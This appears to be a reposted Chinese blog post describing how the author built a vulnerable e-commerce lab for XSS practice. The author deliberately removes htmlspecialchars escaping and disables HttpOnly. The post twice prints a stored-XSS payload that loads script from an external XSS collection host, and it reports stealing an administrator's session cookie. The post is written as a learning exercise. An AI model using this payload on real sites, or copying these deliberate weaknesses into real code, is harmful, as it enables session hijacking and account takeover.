Web電商安全之xss學習
最近在改造一個開源電商平臺作為電商漏洞平臺供大家去學習參考常見的電商web漏洞,今天是做的xss這塊,發現htmlspecialchars這個函式與HttpOnly的重要性
首先我是找到了xss免費平臺注冊賬號使用

之后觀察電商網頁的注冊頁面試圖插入xss惡意腳本

發現有對長度和字符的判斷,觀察了專案代碼發現是前端有ajax以及正則運算式(這個看不懂也不是會…),后端的判別也是防止注入各種過濾很難去改動,于是我就尋找其他地方,
在商品評價里發現可以有進展,通過在phpstorm里面搜索關鍵詞“評論”然后從前端逐級向服務層尋找發現它只有長度的限制,于是我修改長度限制后在評論中輸入惡意代碼

他是過關可以提交的,我們點擊提交插入惡意xss代碼

之后我們登錄管理員后臺查看,

</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/xOif></sCrIpT>
兩個對比插入前(上)和插入后管理員顯示(下)對比
</tExtArEa>'"><sCRiPt sRC=//xsshs.cn/xOif></sCrIpT>
發現’ < ’ ’ > ’ ’ ’ ’ 等都存在轉義,這是一種常見對xss的防護手段,我們要更改掉這個轉義過濾讓這個電商平臺的評論區可以成為一個Xss漏洞攻擊點
在GoodsCommentsService.php服務層找到了

找到content中的htmlspecialchars函式,通過搜索對該函式的講解:
https://baijiahao.baidu.com/s?id=1621553793329253809&wfr=spider&for=pc得知是它將我們的字符轉義于是洗掉該函式修改為:

再次嘗試評論插入,這個時候我在xss平臺得到了cookie以及其他相關資訊

但是我們發現這個cookie:aaa明顯是沒有用的cookie
于是我登錄管理員后臺按F12進入application,發現HttpOnly是開啟的,之前搜索xss防范也看到了HttpOnly是一種很好的防范,因為不會讓javascript腳本執行,HttpOnly的存在讓我們無法拿到這個PHPSESSID真正的cookie,然后我去尋找資料如何關閉HttpOnly或者繞過HttpOnly

我選擇了關閉HttpOnly(因為關閉比較簡單…)
再次在評論區輸入相同的惡意xss代碼,查看我們的接受資料的xss平臺

OK大功告成拿到了真正的cookie
感悟:在把一個正規的開源電商平臺模板去修改成一個漏洞平臺的學習程序中,是對Php語言的學習也是對漏洞原理的一個學習,希望自己不要只成為腳本小子!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/289485.html
標籤:其他
下一篇:typecho反序列化漏洞復現
